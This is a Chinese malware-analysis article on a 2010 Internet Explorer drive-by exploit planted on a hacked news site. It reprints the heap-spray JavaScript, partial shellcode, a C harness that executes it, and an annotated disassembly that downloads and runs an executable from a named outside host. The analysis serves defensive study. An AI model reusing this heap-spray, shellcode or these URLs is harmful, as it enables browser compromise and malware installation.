首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>病毒分析>文章内容
Ie0dayCVE0806网马样本分析
来源:http://riusksk.blogbus.com 作者:泉哥 发布时间:2010-11-03  

【标题】:Ie0dayCVE0806网马样本分析                                              
【作者】:泉哥(http://riusksk.blogbus.com)

分析工具:

        MDecoder 0.66  

        EditPlus 3.01

         FreShow

        VC 6.0

         OllyDbg 1.10
样本来源:

         网站(安徽新闻网)被黑客植入木马 http://log.mtian.net/?p=1152001
分析结果:
Log By Mdecoder

 [root]http://www.ah.chinanews.com.cn/GuestBook/Images/con.wtxlj871/wenda./lpt9.mqhna976.asp(长安汽车这支股票怎么样?以后怎么样?--股票--)

    [exp]http://1029a9.3322.org:225/yy2/index.htm(Exploit.Ie0dayCVE0806.a)

        [script]http://1029a9.3322.org:225/yy2/mj.js

        [virus]http://231ad.3322.org:225/yy2/no.exe

    [exp]http://1029a9.3322.org:225/yy2/index.htm(Exploit.Ie0dayCVE0806.a)

    [exp]http://1029a9.3322.org:225/yy2/index.htm(Exploit.Ie0dayCVE0806.a)

    [script]http://js.160ads.com/i.js

        [script]http://js.160ads.com/+s(sr)+

        [iframe]http://js.160ads.com/+s(sr)+
代码分析:
挂马方式:


Exploit代码分析:
Index.htm:



 



   //设置隐藏按钮

    //挂上恶意脚本http://1029a9.3322.org:225/yy2/mj.js





mj.js:

function auc2(){

    a3=new Array();  //创建一数组对象array,而这些动态申请到的对象/变量都会被分配到堆中

    var a5=0x86000-(a4.length*2);    // 536KB减去shellcode字节数,主要用于计算每一喷射块除shellcode之外还需要多少字节需要用nop填充

    var LFlwBa=unescape('%u0c0c%u0c0c');

    while(LFlwBa.length

        LFlwBa+=LFlwBa;     //将每一喷射块中除shellcode外均用0c0c0c0c填充

    };

    var a6=LFlwBa.substring(0,a5/2);

    delete LFlwBa;

    for(i=0;i<270;i++){        

            a3[i]=a6+a6+a4;   ////用一连串包括shellcode的喷射块去填充内存以实现heap spary

    }

}

Shellcode 分析

先将shellcode部分去除连接符“+”,然后用FreShow执行ESC解码:

\x58\x58\x58\x58\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\xB8\x03\x80\x34\x0B\xBD\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF\x54\xd9\x93\x8e\x8e\x8f\x8f\x93\xd2\xcf\xda\x87\x8f\x92\xd3\xd2\x93\xd8\xc5\xd8\xbd\xbd\xbd\xEA……省略部分内容……\xEA\xEA\xEA\xEA\xEA\xEA\xEA

用VC编写以下代码:

int main()

{            

    char shellcode[]="\x58\x58\x58\x58\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\xB8\x03\x80\x34\x0B\xBD\xE2\xFA\xEB\x05\xE8\xEB\xFF\ \xBC\xE4\x55\xF2\xBF\xBD\xBD\x5F\x44\x3C\x51\xBD\xBC\xBD\xBD\x36\x61……省略部分内容……\xBD\xBD\xD7\xBD\xD7\xA7\x8c\xdc\xd9\x93\x8e\x8e\x8f\x8f\x93\xd2\xcf\xda\x87\x8f\x8f\x88\x92\xc4\xc4\x8f\x92\xd3\xd2\x93\xd8\xc5\xd8\xbd\xbd\xbd\xEA\xEA\xEA\xEA\xEA\xEA\xEA\xEA";

    __asm{

            lea eax,shellcode

            push eax

            ret

    }

    return 0;

}

用VC编译成程序,然后用OD加载逆向分析,F8到shellcode后来到:

0012FBAC    58              POP EAX

0012FBAD    58              POP EAX

0012FBAE    58              POP EAX

0012FBAF    58              POP EAX

0012FBB0    EB 10           JMP SHORT 0012FBC2

0012FBB2    5B              POP EBX

0012FBB3    4B              DEC EBX

0012FBB4    33C9            XOR ECX,ECX

0012FBB6    66:B9 B803      MOV CX,3B8

0012FBBA    80340B BD       XOR BYTE PTR DS:[EBX+ECX],0BD            ; 循环异或解密后面的关键代码

0012FBBE  ^ E2 FA           LOOPD SHORT 0012FBBA

0012FBC0    EB 05           JMP SHORT 0012FBC7

0012FBC2    E8 EBFFFFFF     CALL 0012FBB2                            ; 必须F7跟进,否则结束进程

0012FBC7    E9 1E030000     JMP 0012FEEA                             ;无实际操作意义,相当于花指令,同时具有反调试作用,遇到call须单步跟进

0012FBCC    5F              POP EDI

0012FBCD    64:A1 30000000  MOV EAX,DWORD PTR FS:[30]                ; PEB结构

0012FBD3    8B40 0C         MOV EAX,DWORD PTR DS:[EAX+C]             ; PEB_LDR_DATA结构

0012FBD6    8B70 1C         MOV ESI,DWORD PTR DS:[EAX+1C]            ; InInitializationOrderModuleList

0012FBD9    AD              LODS DWORD PTR DS:[ESI]                  ; 指向kernel32.dll模块

0012FBDA    8B68 08         MOV EBP,DWORD PTR DS:[EAX+8]             ; kernel32基址

0012FBDD    8BF7            MOV ESI,EDI

0012FBDF    6A 11           PUSH 11

0012FBE1    59              POP ECX                                  ; ecx=0x11,相当于要循环获取17个函数地址

0012FBE2    E8 BE020000     CALL <_GetFunAddr>                       ; 获取函数地址,跟进此函数

{

0012FEA5 >  51              PUSH ECX

0012FEA6    56              PUSH ESI

0012FEA7    8B75 3C         MOV ESI,DWORD PTR SS:[EBP+3C]            ; PE头

0012FEAA    8B742E 78       MOV ESI,DWORD PTR DS:[ESI+EBP+78]        ; 输出表RVA

0012FEAE    03F5            ADD ESI,EBP                              ; 输出表绝对地址

0012FEB0    56              PUSH ESI

0012FEB1    8B76 20         MOV ESI,DWORD PTR DS:[ESI+20]            ; 函数名称表RVA

0012FEB4    03F5            ADD ESI,EBP                              ; 函数名称表绝对地址

0012FEB6    33C9            XOR ECX,ECX                              ; 计数器

0012FEB8    49              DEC ECX

0012FEB9    41              INC ECX                                  ; 递增计数器,用于寻找下个函数名

0012FEBA    AD              LODS DWORD PTR DS:[ESI]                  ; 第一个函数名RVA

0012FEBB    03C5            ADD EAX,EBP                              ; 第一个函数名的绝对地址

0012FEBD    33DB            XOR EBX,EBX

0012FEBF    0FBE10          MOVSX EDX,BYTE PTR DS:[EAX]              ; 循环获取函数名的各个字符,直至遇到回车符0x0D

0012FEC2    3AD6            CMP DL,DH

0012FEC4    74 08           JE SHORT 0012FECE

0012FEC6    C1CB 07         ROR EBX,7                                ; 对函数名进行hash运算,以简便后面函数搜索的过程

0012FEC9    03DA            ADD EBX,EDX

0012FECB    40              INC EAX

0012FECC  ^ EB F1           JMP SHORT 0012FEBF

0012FECE    3B1F            CMP EBX,DWORD PTR DS:[EDI]               ; 寻找匹配的函数名的hash值

0012FED0  ^ 75 E7           JNZ SHORT 0012FEB9

0012FED2    5E              POP ESI

0012FED3    8B5E 24         MOV EBX,DWORD PTR DS:[ESI+24]            ; 函数序号表RVA

0012FED6    03DD            ADD EBX,EBP                              ; 函数序号表绝对地址

0012FED8    66:8B0C4B       MOV CX,WORD PTR DS:[EBX+ECX*2]           ; 寻找当前匹配函数的序号值

0012FEDC    8B5E 1C         MOV EBX,DWORD PTR DS:[ESI+1C]            ; 函数地址表RVA

0012FEDF    03DD            ADD EBX,EBP                              ; 函数地址表绝对地址

0012FEE1    8B048B          MOV EAX,DWORD PTR DS:[EBX+ECX*4]         ; 获取当前匹配函数的RVA

0012FEE4    03C5            ADD EAX,EBP                              ; 当前匹配函数的绝对地址

0012FEE6    AB              STOS DWORD PTR ES:[EDI]                  ; edi=函数地址

0012FEE7    5E              POP ESI

0012FEE8    59              POP ECX

0012FEE9    C3              RETN

}

0012FBE7    90              NOP

0012FBE8  ^ E2 F8           LOOPD SHORT 0012FBE2                     ; 循环获取以下函数的地址:GetModuleHandleA、GetTempPathA、CreateProcessInternalA、LoadLibraryA、GetProcAddress、ExitProcess、GetCurrentThreadId、Sleep、VirtualProtect、CreateFileA、GetFileSize、CreateFileMappingA、WriteFile、CloseHandle、SetFilePointer、MapViewOfFile、UnmapViewOfFile

0012FBEA    68 33320000     PUSH 3233

0012FBEF    68 55736572     PUSH 72657355                            ; "User32"

0012FBF4    54              PUSH ESP

0012FBF5    8B46 0C         MOV EAX,DWORD PTR DS:[ESI+C]             ; kernel32.LoadLibraryA

0012FBF8    E8 BE010000     CALL <_CallEAX>                          ; 调用eax

0012FBFD    8BE8            MOV EBP,EAX

0012FBFF    6A 05           PUSH 5

0012FC01    59              POP ECX                                  ; ecx=0x5,计数器

0012FC02    E8 9E020000     CALL <_GetFunAddr>                       ; 循环获取以下函数地址:EnumWindows、GetClassNameA、GetWindowThreadProcessId、DestroyWindow、MessageBeep

0012FC07  ^ E2 F9           LOOPD SHORT 0012FC02

0012FC09    68 6F6E0000     PUSH 6E6F

0012FC0E    68 75726C6D     PUSH 6D6C7275                            ; "urlmon"

0012FC13    54              PUSH ESP

0012FC14    FF16            CALL DWORD PTR DS:[ESI]

0012FC16    85C0            TEST EAX,EAX

0012FC18    75 13           JNZ SHORT 0012FC2D

0012FC1A    68 6F6E0000     PUSH 6E6F

0012FC1F    68 75726C6D     PUSH 6D6C7275                            ; "urlmon"

0012FC24    54              PUSH ESP

0012FC25    8B46 0C         MOV EAX,DWORD PTR DS:[ESI+C]             ; kernel32.LoadLibraryA

0012FC28    E8 8E010000     CALL <_CallEAX>

0012FC2D    8BE8            MOV EBP,EAX

0012FC2F    6A 01           PUSH 1

0012FC31    59              POP ECX

0012FC32    E8 6E020000     CALL <_GetFunAddr>                       ; 获取URLDownloadToFileA 函数地址

0012FC37  ^ E2 F9           LOOPD SHORT 0012FC32

0012FC39    68 6C333200     PUSH 32336C

0012FC3E    68 7368656C     PUSH 6C656873                            ; "shell32"

0012FC43    54              PUSH ESP

0012FC44    8B46 0C         MOV EAX,DWORD PTR DS:[ESI+C]             ; kernel32.LoadLibraryA

0012FC47    E8 6F010000     CALL <_CallEAX>

0012FC4C    8BE8            MOV EBP,EAX

0012FC4E    6A 01           PUSH 1

0012FC50    59              POP ECX

0012FC51    E8 4F020000     CALL <_GetFunAddr>                       ; 获取SHGetSpecialFolderPathA 地址

0012FC56  ^ E2 F9           LOOPD SHORT 0012FC51

0012FC58    81EC 00010000   SUB ESP,100

0012FC5E    8BDC            MOV EBX,ESP

0012FC60    81C3 80000000   ADD EBX,80

0012FC66    6A 00           PUSH 0

0012FC68    6A 1A           PUSH 1A

0012FC6A    53              PUSH EBX

0012FC6B    6A 00           PUSH 0

0012FC6D    FF56 5C         CALL DWORD PTR DS:[ESI+5C]               ; shell32.SHGetSpecialFolderPathA,获取路径C:\Documents and Settings\当前用户名\Application Data

0012FC70    33C0            XOR EAX,EAX

0012FC72    40              INC EAX

0012FC73    803C03 00       CMP BYTE PTR DS:[EBX+EAX],0              ; 计算路径字符串的长度,并保存在eax中

0012FC77  ^ 75 F9           JNZ SHORT 0012FC72

0012FC79    C70403 5C662E65 MOV DWORD PTR DS:[EBX+EAX],652E665C

0012FC80    C74403 04 78650>MOV DWORD PTR DS:[EBX+EAX+4],6578        ; "\f.exe"

0012FC88    33C9            XOR ECX,ECX

0012FC8A    51              PUSH ECX

0012FC8B    51              PUSH ECX

0012FC8C    53              PUSH EBX                                 ; C:\Documents and Settings\Administrator\Application Data\f.exe

0012FC8D    57              PUSH EDI                                 ; ASCII "http://231ad.3322.org:225/yy2/no.exe"

0012FC8E    51              PUSH ECX

0012FC8F    33C0            XOR EAX,EAX

0012FC91    8B46 58         MOV EAX,DWORD PTR DS:[ESI+58]            ; urlmon.URLDownloadToFileA,下载恶意程序

0012FC94    E8 22010000     CALL <_CallEAX>

0012FC99    83F8 00         CMP EAX,0

0012FC9C    E9 A3000000     JMP 0012FD44

 

跳转后来到这里:

 

0012FD44    8BFB            MOV EDI,EBX

0012FD46    33C0            XOR EAX,EAX

0012FD48    33DB            XOR EBX,EBX

0012FD4A    81EC 00020000   SUB ESP,200

0012FD50    8BCC            MOV ECX,ESP

0012FD52    83F8 54         CMP EAX,54

0012FD55    7D 08           JGE SHORT 0012FD5F

0012FD57    891C01          MOV DWORD PTR DS:[ECX+EAX],EBX           ; 对[ecx+eax]中的0x50字节空间进行清零操作,以作为参数被后面的函数调用

0012FD5A    83C0 04         ADD EAX,4

0012FD5D  ^ EB F3           JMP SHORT 0012FD52

0012FD5F    8BCC            MOV ECX,ESP

0012FD61    8BD9            MOV EBX,ECX

0012FD63    83C3 10         ADD EBX,10

0012FD66    33C0            XOR EAX,EAX

0012FD68    50              PUSH EAX

0012FD69    51              PUSH ECX

0012FD6A    53              PUSH EBX

0012FD6B    50              PUSH EAX

0012FD6C    50              PUSH EAX

0012FD6D    50              PUSH EAX

0012FD6E    50              PUSH EAX

0012FD6F    50              PUSH EAX

0012FD70    50              PUSH EAX

0012FD71    57              PUSH EDI                                 ; ASCII "C:\Documents and Settings\Administrator\Application Data\f.exe"

0012FD72    50              PUSH EAX

0012FD73    50              PUSH EAX

0012FD74    FF56 08        CALL DWORD PTR DS:[ESI+8]                ; kernel32.CreateProcessInternalA,执行下载的恶意程序f.exe


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·Linux后门系列--由浅入深sk13完
·Word溢出Shellcode分析
·浅谈反病毒技术的前世今生
·Ie0dayCVE0806.c 变种网马样本分
·Web应用漏洞的大规模攻击案例分
·Witty病毒通过ISS的防火墙产品和
·酷狗音乐首页隐蔽挂马详细分析+7
·Net-Worm.Win32.Dasher(黛蛇)蠕
·熊猫烧香病毒分析与解决方案
·卡巴斯基(AVP)内存驻留型病毒检
·104种木马手工清除方法
·avserve病毒初步分析
  相关文章
·Ie0dayCVE0806.c 变种网马样本分
·Web应用漏洞的大规模攻击案例分
·Word溢出Shellcode分析
·Linux后门系列--由浅入深sk13完
·酷狗音乐首页隐蔽挂马详细分析+7
·熊猫烧香病毒分析与解决方案
·卡巴斯基(AVP)内存驻留型病毒检
·Net-Worm.Win32.Dasher(黛蛇)蠕
·浅谈反病毒技术的前世今生
·avserve病毒初步分析
·Witty病毒通过ISS的防火墙产品和
·104种木马手工清除方法
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved